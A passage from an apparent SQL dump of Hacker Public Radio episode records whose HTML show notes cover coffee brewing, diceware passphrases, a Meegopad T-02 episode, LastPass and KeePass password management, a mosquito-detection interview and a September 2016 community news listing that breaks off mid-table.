such. Look for brand names like Mazzer, Rancilio, Gaggia, Bunn, Macap, or Baratza. Spend good money now, it\'ll save you money and ensure years of good service.</p>\r\n<p>Note that each brewing method needs a different &quot;grind&quot; - coarseness/fineness. Experiment. Keep all the other factors the same and only vary the grind until you get that &quot;just right&quot; cup. But, of course, if you like Nescaf&eacute; instant, don\'t worry about the grind.</p>\r\n<p>Another side note here. If you answered yes to all of the above questions, I\'ll guarantee that if I were to prepare two cups of coffee where all of the factors are the same except for the grinder (one cheap &amp; one quality), that you would most definitely swear that different beans were used to make each cup. No Joke. That\'s the difference a good grinder makes. It, more than any other factor, will change the flavor of your coffee. And you\'ll more likely than not be missing out on a great cup and be constantly plagued with shit coffee if you cheap out.</p>\r\n<p>I can personally attest to this fact. I cheaped out in the beginning. Then I spent the money to buy a great grinder. My first sip of my first cup using the great grinder knocked my socks off. Night and day! I discovered the great taste of coffee that a great grinder provides. So don\'t cheap out. But, of course, if you like Nescaf&eacute; instant, you\'ll like the cheap blade grinder. Or, hell, do it caveman style, just use a hammer to smash the beans.</p></li>\r\n<li><p>Water. Mountain spring water is a MUST. The minerals in it help extract the delicate flavors of the coffee giving it a much more fuller, richer flavor. Distilled water leaves coffee tasting flat and lifeless. But, of course, if you like Nescaf&eacute; instant, you\'ll like distilled water.</p></li>\r\n<li><p>Water temp. Yes. Water temp makes a difference. It\'s like the difference between scalding milk and burning milk. Coffee\'s delicate flavors require a temp between 195-200 degrees F or 90-94 degrees C. Too cold, no flavor extraction - flat coffee. Too hot and the oils are extruded - bitter coffee.</p>\r\n<p>First bring water to a rolling boil. This airiates the water. Once the water comes to a full boil, remove from the heat. Wait 30-40 seconds then pour into or over your freshly ground coffee beans and stir. For an even more accurate temp reading, use a thermometer. If you make espresso, the espresso maker will take care of the temp, provided you bought a GOOD espresso maker and not a cheap Cuisinart or the likes thereof. But, of course, if you like Nescaf&eacute; instant, use boiling hot water.</p></li>\r\n<li><p>Brew time. Each brewing method\'s brew time varies (French Press, espresso, pour over, drip, Aero Press, etc.). As little as 30 seconds (espresso) to between three to four minutes for the others is needed. So, experiment. Keep all the other factors the same and only vary the brew time until you get that &quot;just right&quot; cup. But, of course, if you like Nescaf&eacute; instant, let it steep for 10 minutes.</p></li>\r\n</ol>\r\n<p>Does all of this seem like a lot of time and bother just for a cup of coffee? Hell, yes!! But didn\'t it seem like a lot of time and bother to make that first perfect omelet? And wasn\'t it worth it, once you got the hang of it. It was no fuss at all. It\'s just like putting your pants on or brushing your teeth. You no longer have to think about it. You just do it.</p>\r\n<p>And once you get the hang of it, the timing and flow to making that &quot;Just right&quot; cup of coffee, you\'ll be able to enjoy a perfect cup every time without breaking a sweat or furrowing a brow.</p>\r\n<p>So, here\'s to ya. Enjoy. And maybe next time we\'ll look at blending beans to create a euphoric cacophany of mouth flavors.</p>\r\n<p>Bye bye</p>',313,88,1,'CC-BY-SA','coffee,coffee making ',0,0,1),
(1888,'2015-10-28','Diceware Passphrase',758,'Demonstration of using the diceware method of passphrase generation','<p>A walk through of how to use diceware (<a href=\"https://world.std.com/~reinhold/diceware.html\">https://world.std.com/~reinhold/diceware.html</a>) to create a passphrase and update your GPG key to use it.</p>',277,74,1,'CC-BY-SA','security, gpg',0,0,1),
(1889,'2015-10-29','experiencing the meegopad T-02  part one',789,'And now for something completely different','<p>This is HPR episode <span class=\"math\">${1889r) entitled &quot;$</span>{experiencing the meegopad T-02 part one}&quot;. It is hosted by ${A Shadowy Figure} and is <span class=\"math\">${13} minutes long. The Summary: &quot;$</span>{And now for something completely different}&quot;</p>\r\n<p>Apologies to speed listeners. I just couldn\'t make this episode speed-listener-friendly.</p>\r\n<p>This episode was made out of respect and admiration for the HPR contributers mentioned throughout the show.</p>\r\n<h3 id=\"disclaimer\">Disclaimer:</h3>\r\n<p>I barely have a clue of what I am doing. And there are mistakes all over the place in this episode. It\'s just something I wanted to through out there to change things up a little, and pay homage to those I admire, and with a little luck, inspire others to use their creativity to record an episode of their own.</p>\r\n<p>You can do better. And I want to hear what you have to offer.</p>\r\n<p>The meegopad T-02 turned out to be something I wouldn\'t recommend to others, and the follow-up episode to this one will be a walk through of what it takes to &quot;hack&quot; the T-02 into being something that is usable.</p>\r\n<p>Depending on the feedback to this episode, I can either follow the theme I started with this show, or do a more traditional HPR episode with a no frills walk through of the process of hacking the T-02 to work as advertised. So let me know what you prefer.</p>\r\n<p>Apologies to listeners from outside North America. The many slang terms used throughout the episode are representative of the hard boiled genre of noir to give this episode a certain &quot;feel&quot;.</p>\r\n<ul>\r\n<li>Dames = women</li>\r\n<li>lucky strikes = cigarettes</li>\r\n<li>Barbies = women</li>\r\n<li>Kung fu grip = a GI jo action figure feature from the 70\'s</li>\r\n<li>70 Roadrunner = High performance American Muscle car by Plymouth</li>\r\n<li>Posi traction = both rear wheels turn at the same rate at all times</li>\r\n<li>Thermoquad = High performance carburetor</li>\r\n<li>The elusive split tail blond fox = a pretty woman</li>\r\n<li>Dough = money</li>\r\n<li>Fence = seller of stolen goods</li>\r\n<li>Capt\'n Crunch = an American brand of breakfast cereal</li>\r\n<li>Multimeter modifier = NYBill an HPR contributers</li>\r\n<li>Rig = computer</li>\r\n<li>Telnet = the way we used to communicate digitally before the world wide web was developed</li>\r\n<li>TRS-80 = an early personal computer</li>\r\n<li>clams = American dollars</li>\r\n<li>Jacksons = $20 dollar bill</li>\r\n<li>sega master system = the predecessor to the sega genesis gaming console (circa 1986)</li>\r\n<li>Sony Trinitron = discontinued telivision set</li>\r\n<li>Netgear 600= wifi router</li>\r\n</ul>\r\n<h3 id=\"products-mentioned-in-this-episode\">Products mentioned in this episode</h3>\r\n<ul>\r\n<li><p>70 roadrunner (not for sale.) <a href=\"https://drive.google.com/file/d/0B84o-HiBbf8mNzY0YlZYYjdKSHc/view?usp=sharing\" class=\"uri\">https://drive.google.com/file/d/0B84o-HiBbf8mNzY0YlZYYjdKSHc/view?usp=sharing</a></p></li>\r\n<li><p>Meegopad T-02 <a href=\"https://www.aliexpress.com/item/Meegopad-T02-Ubuntu-Linux-Version-2GB-RAM-32GB-Intel-Atom-Z3735F-Quad-Core-Internal-Wifi-Mini/32401756810.html?ws_ab_test=searchweb201556_7,searchweb201527_3_71_72_73_74_75,searchweb201560_2\" class=\"uri\">https://www.aliexpress.com/item/Meegopad-T02-Ubuntu-Linux-Version-2GB-RAM-32GB-Intel-Atom-Z3735F-Quad-Core-Internal-Wifi-Mini/32401756810.html?ws_ab_test=searchweb201556_7,searchweb201527_3_71_72_73_74_75,searchweb201560_2</a></p></li>\r\n<li><p>Blue Yeti Microphone <a href=\"https://www.amazon.com/gp/product/B002VA464S?keywords=blue%20yeti&amp;qid=1444928224&amp;ref_=sr_1_1&amp;sr=8-1\">https://www.amazon.com/gp/product/B002VA464S?keywords=blue%20yeti&amp;qid=1444928224&amp;ref_=sr_1_1&amp;sr=8-1</a></p></li>\r\n</ul>\r\n<p>All music contained within, courtesy Kevin MacLeod of Incompitech.com <a href=\"https://incompetech.com/wordpress/\" class=\"uri\">https://incompetech.com/wordpress/</a></p>\r\n<p>Sound effects courtesy</p>\r\n<ul>\r\n<li>Lonemonk</li>\r\n<li>Rutgermuller</li>\r\n<li>dhoy42</li>\r\n<li>henaway</li>\r\n<li>tuben</li>\r\n<li>soundmary</li>\r\n<li>knankbeeld</li>\r\n<li>inchadney</li>\r\n<li>kraftwerk2k1</li>\r\n<li>elonen</li>\r\n<li>gurdonark</li>\r\n<li>cubic-archon</li>\r\n<li>confusion music</li>\r\n<li>zachfbstudios</li>\r\n<li>husky70</li>\r\n<li>solis2</li>\r\n<li>magixmusic</li>\r\n<li>dapperdaniel</li>\r\n<li>robinhood76</li>\r\n<li>djfroyd</li>\r\n<li>boilingsand</li>\r\n</ul>\r\n<p>of Freesound.org. <a href=\"https://freesound.org\" class=\"uri\">https://freesound.org</a></p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://drive.google.com/file/d/0B84o-HiBbf8mNzY0YlZYYjdKSHc/view?usp=sharing\" class=\"uri\">https://drive.google.com/file/d/0B84o-HiBbf8mNzY0YlZYYjdKSHc/view?usp=sharing</a></li>\r\n<li><a href=\"https://www.aliexpress.com/item/Meegopad-T02-Ubuntu-Linux-Version-2GB-RAM-32GB-Intel-Atom-Z3735F-Quad-Core-Internal-Wifi-Mini/32401756810.html?ws_ab_test=searchweb201556_7,searchweb201527_3_71_72_73_74_75,searchweb201560_2\" class=\"uri\">https://www.aliexpress.com/item/Meegopad-T02-Ubuntu-Linux-Version-2GB-RAM-32GB-Intel-Atom-Z3735F-Quad-Core-Internal-Wifi-Mini/32401756810.html?ws_ab_test=searchweb201556_7,searchweb201527_3_71_72_73_74_75,searchweb201560_2</a></li>\r\n<li><a href=\"https://www.amazon.com/gp/product/B002VA464S?keywords=blue%20yeti&amp;qid=1444928224&amp;ref_=sr_1_1&amp;sr=8-1\">https://www.amazon.com/gp/product/B002VA464S?keywords=blue%20yeti&amp;qid=1444928224&amp;ref_=sr_1_1&amp;sr=8-1</a></li>\r\n<li><a href=\"https://incompetech.com/wordpress/\" class=\"uri\">https://incompetech.com/wordpress/</a></li>\r\n<li><a href=\"https://freesound.org\" class=\"uri\">https://freesound.org</a></li>\r\n</ul>\r\n',308,0,0,'CC-BY-SA','MeeGoPad T02 ',0,0,1),
(1890,'2015-10-30','A short walk with my son',1122,'Dave takes a walk with his son Alex and spouts a bunch of random guff about things','<p>We start the show by saying ta-ra to the wife and daughters and starting on our walk.</p>\r\n<p>Note to self: record an HPR episode about coffee</p>\r\n<p>This episode inspired by jonkulp\'s emergency HPR episode entitled &quot;biking2work&quot;, as mentioned on his GNUsocial post: <a href=\"https://micro.fragdev.com/notice/1425116\" class=\"uri\">https://micro.fragdev.com/notice/1425116</a></p>\r\n<p>I give a brief introduction to who I am, and where I live.</p>\r\n<hr />\r\n<p>Neewer Lapel Microphones from Amazon UK <a href=\"https://www.amazon.co.uk/dp/B005DOTSM4/\" class=\"uri\">https://www.amazon.co.uk/dp/B005DOTSM4/</a></p>\r\n<p>The lapel mic issue at our church. £1.50 a piece, rather than £25+ for an official replacement.</p>\r\n<hr />\r\n<p>Background to my 7½ year podcasting history:</p>\r\n<ul>\r\n<li><p>The Bugcast <a href=\"https://thebugcast.org/\" class=\"uri\">https://thebugcast.org/</a></p></li>\r\n<li><p>Duffercast <a href=\"https://duffercast.org/\" class=\"uri\">https://duffercast.org/</a></p></li>\r\n</ul>\r\n<p>Other music podcasts too</p>\r\n<p>Note to self: record an HPR episode on my journey into podcasting<br />Note to self: record an HPR episode on my journey into Linux</p>\r\n<hr />\r\n<p>Metric vs Imperial measurements</p>\r\n<p>Note to self: record an HPR episode on variances between different measurement systems</p>\r\n<p>A comparison between my Nexus 7 and my Olympus DM-3 recorder, both with and without the lapel mic. <a href=\"https://media.thelovebug.org/u/thelovebug/m/lapel-microphone-comparisons/\" class=\"uri\">https://media.thelovebug.org/u/thelovebug/m/lapel-microphone-comparisons/</a></p>\r\n<p>Small glitch in the recording resulted in about 5 seconds being dropped, so it sounds a little disjointed at one point</p>\r\n<hr />\r\n<p>Opinion around acceptable audio quality.<br />&quot;If you can hear it, it\'s good enough.&quot;</p>\r\n<p>Note to self: record an HPR episode on Auphonic and how to improve audio quality with very little effort</p>\r\n<p><a href=\"https://auphonic.com/\" class=\"uri\">https://auphonic.com/</a></p>\r\n<hr />\r\n<p>What would happen if Alex slipped and rolled down the hill.<br />Alex gives a quick introduction to himself.<br />He\'s also the slowest human in history.</p>\r\n<hr />\r\n<p>I did run this episode through Auphonic, which didn\'t do a bad job in the slightest.<br />Settings used: Adaptive Leveler, Filtering, Noise and hum reduction set to Auto.<br />According to the processing results, hum reduction wasn\'t needed.</p>\r\n<p>It would appear as though I\'ve promised Ken 5 new shows - no pressure, eh.</p>\r\n<hr />\r\n<p>Contact me:</p>\r\n<ul>\r\n<li>GNUsocial: thelovebug@micro.thelovebug.org</li>\r\n<li>XMPP/Jabber: thelovebug@im.thelovebug.org</li>\r\n<li>Telegram: <a href=\"https://telegram.me/thelovebug\" class=\"uri\">https://telegram.me/thelovebug</a></li>\r\n</ul>\r\n<hr />\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://micro.fragdev.com/notice/1425116\" class=\"uri\">https://micro.fragdev.com/notice/1425116</a></li>\r\n<li><a href=\"https://www.amazon.co.uk/dp/B005DOTSM4/\" class=\"uri\">https://www.amazon.co.uk/dp/B005DOTSM4/</a></li>\r\n<li><a href=\"https://thebugcast.org/\" class=\"uri\">https://thebugcast.org/</a></li>\r\n<li><a href=\"https://duffercast.org/\" class=\"uri\">https://duffercast.org/</a></li>\r\n<li><a href=\"https://media.thelovebug.org/u/thelovebug/m/lapel-microphone-comparisons/\" class=\"uri\">https://media.thelovebug.org/u/thelovebug/m/lapel-microphone-comparisons/</a></li>\r\n<li><a href=\"https://auphonic.com/\" class=\"uri\">https://auphonic.com/</a></li>\r\n<li><a href=\"https://telegram.me/thelovebug\" class=\"uri\">https://telegram.me/thelovebug</a></li>\r\n</ul>\r\n',314,0,0,'CC-BY-SA','microphone,audio quality,auphonic.com,The Bugcast,Duffercast  ',0,0,1),
(1892,'2015-11-03','my chicken coop',610,'jezra blabs about the brok brok brok house','<p>\r\nDoor hardware build: <a href=\"https://www.jezra.net/blog/GNU_Linux_chicken_coop_door_hardware.html\">https://www.jezra.net/blog/GNU_Linux_chicken_coop_door_hardware.html</a>\r\n</p>\r\n<p>\r\nThe twilight checker: <a href=\"https://www.jezra.net/blog/The_magic_starts_at_330AM_a_coop_story.html\">https://www.jezra.net/blog/The_magic_starts_at_330AM_a_coop_story.html</a>\r\n</p>',243,103,1,'CC-BY-SA','chicken',0,0,1),
(1940,'2016-01-08','WASHLUG Talk  on LastPass',3446,'An expanded discussion of the LastPass intrusion as delivered at our LUG.','<p>\r\nI had the opportunity to present a talk on the LastPass intrusion at our local LUG, the Washtenaw Linux Users Group, which expanded on a previous HPR episode and added some additional material that I think might be of interest to our listeners. I still stand by my claim that LastPass was not seriously affected by the intrusion and is still an excellent security solution for most computer users.\r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=841\">https://www.zwilnik.com/?page_id=841</a> \r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n <ul>\r\n <li><a href=\"https://www.washlug.org/\">https://www.washlug.org/</a>\r\n </li>\r\n <li><a href=\"https://www.zwilnik.com/?page_id=841\">https://www.zwilnik.com/?page_id=841</a>\r\n </li>\r\n </ul>',198,74,0,'CC-BY-SA','LastPass, passwords, password vaults',0,0,1),
(1893,'2015-11-04','My LastPass Alternative',225,'How I do password management among my devices.','<p>\r\nMy LastPass Alternative\r\n</p>\r\n\r\n<ul>\r\n<li>Password Database: KeePass <a href=\"https://keepass.info/\">https://keepass.info/</a>\r\nKeePass client is in the fedora repos.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nSave file to a location that will be synced between devices.  Im my case Owncloud.   Desktop Client syncs available for Linux, Windows and Mac. Mobile clients for Android, IOS, and even blackberry. Syncing note:  I do not launch the desktop client on login. This allows the owncloud client to sync files before launching keepass. Also, I exit keypass before logging out for the same reason.\r\n</p>\r\n<p>\r\nFor integration with browser, there are\r\n</p>\r\n\r\n<ul>\r\n<li>Firefox: Passifox <a href=\"https://addons.mozilla.org/en-US/firefox/addon/passifox/\">https://addons.mozilla.org/en-US/firefox/addon/passifox/</a>\r\n</li>\r\n<li>Chrome: chromeIPass <a href=\"https://chrome.google.com/webstore/detail/chromeipass/ompiailgknfdndiefoaoiligalphfdae?hl=en\">https://chrome.google.com/webstore/detail/chromeipass/ompiailgknfdndiefoaoiligalphfdae?hl=en</a>\r\n</li>\r\n<li>Android: <a href=\"https://f-droid.org/repository/browse/?fdfilter=keepass&amp;fdid=com.android.keepass\">https://f-droid.org/repository/browse/?fdfilter=keepass&amp;fdid=com.android.keepass</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nAnd finally when on machines I don\'t control:\r\n</p>\r\n\r\n<ul>\r\n<li>Remote Access: Browser Pass <a href=\"https://bitbucket.org/namn/browsepass/\">https://bitbucket.org/namn/browsepass/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nOn same server with ownlcloud, can open files\r\n</p>',273,74,0,'CC-BY-SA','Lastpass, keepass, password management',0,0,1),
(1894,'2015-11-05','Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project',3648,'Mosquito Detection and Habitat Mapping for Improved Malaria Modelling','<p>\r\nBack in 2012 I put up a <a href=\"https://kenfallon.com/open-source-mosquito-locator/\">blog post</a> on my site related to the need for an Open Source Mosquito Locator. Mosquitoes are the <a href=\"https://www.telegraph.co.uk/news/worldnews/11644785/Which-animal-kills-the-most-humans.html\">greatest killer</a> of humans per year.\r\n</p>\r\n<img src=\"https://pbs.twimg.com/media/BmZPa_gIYAERm4r.jpg:large\" width=\"80%\" />\r\n<p>\r\nRecently Alexandre Azzalini left a comment pointing me to the <a href=\"https://humbug.robots.ox.ac.uk/\">HumBug project</a> which is dedicated to <em>Mosquito Detection and Habitat Mapping for Improved Malaria Modelling</em>. I got in touch, and so today I talk to <a href=\"https://davide.zillis.net/\">Davide Zilli</a>, and <a href=\"https://seeg.zoo.ox.ac.uk/members/dr-marianne-sinka\">Dr. Marianne Sinka</a> who were winners of the <a href=\"https://impactchallenge.withgoogle.com/uk2014\">Google Impact Challenge UK 2014</a>.\r\n</p>\r\n<p>\r\n<h3>Royal Botanic Gardens Kew: Crowdsourcing data to help prevent mosquito-borne diseases</h3>\r\n<p>\r\nMosquitoes are responsible for the spread of some of the most deadly and costly diseases, with more than half the world\'s population living in areas where they are routinely exposed to disease carrying mosquitoes. One of the most deadly diseases that they transmit is malaria, that kills over 600,000 people every year. The Royal Botanic Gardens Kew will equip villagers in rural Indonesia with wearable acoustic sensors to detect the sound of mosquitoes. Each species has its own wing beat allowing the research team to record the occurrence of different species, as well as daily readings of critical environmental conditions. Combined with detailed vegetation maps, this will be able to track disease-bearing mosquitoes. Over the next three years, Kew Gardens will work with Oxford University to turn this project into a reality, creating a downloadable smartphone app and a range of wearable acoustic detectors. This novel technology will be trialled in 150 rural households in Indonesia with the aim of preventing and managing outbreaks of mosquito-borne disease. This prototype technology has the potential ultimately to be rolled out in every region of the world where mosquito-borne diseases pose a threat to life.<br />\r\n<a href=\"https://impactchallenge.withgoogle.com/uk2014\">https://impactchallenge.withgoogle.com/uk2014</a>\r\n</p>\r\n<p>\r\nTheir <a href=\"https://humbug.robots.ox.ac.uk/research/sensing/\">approach</a> is to use a <a href=\"https://en.wikipedia.org/wiki/Goertzel_algorithm\">Goertzel algorithm</a> running on either a <a href=\"https://soundtrap.io/\">dedicated device</a> or on a <a href=\"https://shop.ee.co.uk/mobile-phones/pay-as-you-go/alcatel-pixi-3-(4.5)/details\">smart phone</a> to identify species. This data will then be used for <a href=\"https://humbug.robots.ox.ac.uk/research/mapping/\">Habitat Mapping</a> and <a href=\"https://humbug.robots.ox.ac.uk/research/modelling/\">Vector modeling</a> to try and target only species that are a danger to Humans.\r\n</p>\r\n<img src=\"https://soundtrap.io/logger_small.jpg\" width=\"80%\" />\r\n<p>\r\nReach them on Twitter <a href=\"https://twitter.com/humbugmozz\">@humbugmozz</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://kenfallon.com/open-source-mosquito-locator/\">https://kenfallon.com/open-source-mosquito-locator/</a></li>\r\n<li><a href=\"https://www.telegraph.co.uk/news/worldnews/11644785/Which-animal-kills-the-most-humans.html\">https://www.telegraph.co.uk/news/worldnews/11644785/Which-animal-kills-the-most-humans.html</a>\r\n<li><a href=\"https://humbug.robots.ox.ac.uk/\">https://humbug.robots.ox.ac.uk/</a></li>\r\n<li><a href=\"https://davide.zillis.net/\">https://davide.zillis.net/</a></li>\r\n<li><a href=\"https://seeg.zoo.ox.ac.uk/members/dr-marianne-sinka\">https://seeg.zoo.ox.ac.uk/members/dr-marianne-sinka</a></li>\r\n<li><a href=\"https://impactchallenge.withgoogle.com/uk2014\">https://impactchallenge.withgoogle.com/uk2014</a></li>\r\n<li><a href=\"https://twitter.com/humbugmozz\">https://twitter.com/humbugmozz</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Goertzel_algorithm\">https://en.wikipedia.org/wiki/Goertzel_algorithm</a></li>\r\n<li><a href=\"https://soundtrap.io/\">https://soundtrap.io/</a></li>\r\n<li><a href=\"https://shop.ee.co.uk/mobile-phones/pay-as-you-go/alcatel-pixi-3-(4.5)/details\">https://shop.ee.co.uk/mobile-phones/pay-as-you-go/alcatel-pixi-3-(4.5)/details</a></li>\r\n<li><a href=\"https://www.gsmarena.com/alcatel_pixi_3_(4)-6933.php\">https://www.gsmarena.com/alcatel_pixi_3_(4)-6933.php</a></li>\r\n<li><a href=\"https://humbug.robots.ox.ac.uk/research/sensing/\">https://humbug.robots.ox.ac.uk/research/sensing/</a></li>\r\n<li><a href=\"https://humbug.robots.ox.ac.uk/research/mapping/\">https://humbug.robots.ox.ac.uk/research/mapping/</a></li>\r\n<li><a href=\"https://humbug.robots.ox.ac.uk/research/modelling/\">https://humbug.robots.ox.ac.uk/research/modelling/</a></li>\r\n\r\n</ul>\r\n\r\n',30,78,0,'CC-BY-SA','mosquito, humbug, Google Impact Challenge, Hardware',0,0,1),
(2131,'2016-10-03','HPR Community News for September 2016',5065,'HPR Community News for September 2016','\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2109\" target=\"_blank\">2109</a></strong></td>\n    <td>Thu</td>\n    <td>2016-09-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2109\" target=\"_blank\">Hacking my inner ear</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2110\" target=\"_blank\">2110</a></strong></td>\n    <td>Fri</td>\n    <td>2016-09-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2110\" target=\"_blank\">Overhauling a Bicycle Hub</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2111\" target=\"_blank\">2111</a></strong></td>\n    <td>Mon</td>\n    <td>2016-09-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2111\" target=\"_blank\">HPR Community News for August 2016</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2112\" target=\"_blank\">2112</a></strong></td>\n    <td>Tue</td>\n    <td>2016-09-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2112\" target=\"_blank\">My old home server</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2113\" target=\"_blank\">2113</a></strong></td>\n    <td>Wed</td>\n    <td>2016-09-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2113\" target=\"_blank\">sqlite and bash</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2114\" target=\"_blank\">2114</a></strong></td>\n    <td>Thu</td>\n    <td>2016-09-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2114\" target=\"_blank\">Gnu Awk - Part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2115\" target=\"_blank\">2115</a></strong></td>\n    <td>Fri</td>\n    <td>2016-09-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2115\" target=\"_blank\">Apt Spelunking 3: nodm, cmus, and parecord</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2116\" target=\"_blank\">2116</a></strong></td>\n    <td>Mon</td>\n    <td>2016-09-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2116\" target=\"_blank\">Duffer Gardening</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2117\" target=\"_blank\">2117</a></strong></td>\n    <td>Tue</td>\n    <td>2016-09-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2117\" target=\"_blank\">What\'s in my bag for Podcrawl?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2118\" target=\"_blank\">2118</a></strong></td>\n    <td>Wed</td>\n    <td>2016-09-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2118\" target=\"_blank\">What is App Inventor?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2119\" target=\"_blank\">2119</a></strong></td>\n    <td>Thu</td>\n    <td>2016-09-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2119\" target=\"_blank\">Making Chocolate Chip Cookies</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2120\" target=\"_blank\">2120</a></strong></td>\n    <td>Fri</td>\n    <td>2016-09-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2120\" target=\"_blank\">WEBDUMP wmap EyeWitness phantomjs selenium</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2121\" target=\"_blank\">2121</a></strong></td>\n    <td>Mon</td>\n    <td>2016-09-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2121\" target=\"_blank\">Dark Cults Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2122\" target=\"_blank\">2122</a></strong></td>\n    <td>Tue</td>\n    <td>2016-09-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2122\" target=\"_blank\">Alpha32\'s new machine</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2123\" target=\"_blank\">2123</a></strong></td>\n    <td>Wed</td>\n    <td>2016-09-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2123\" target=\"_blank\">How I make coffee</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2124\" target=\"_blank\">2124</a></strong></td>\n    <td>Thu</td>\n    <td>2016-09-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2124\" target=\"_blank\">Repairing a Cloth Shopping Bag with a Sewing Machine</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2125\" target=\"_blank\">2125</a></strong></td>\n    <td>Fri</td>\n    <td>2016-09-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2125\" target=\"_blank\">My mobile recording solution</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2126\" target=\"_blank\">2126</a></strong></td>\n    <td>Mon</td>\n    <td>2016-09-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2126\" 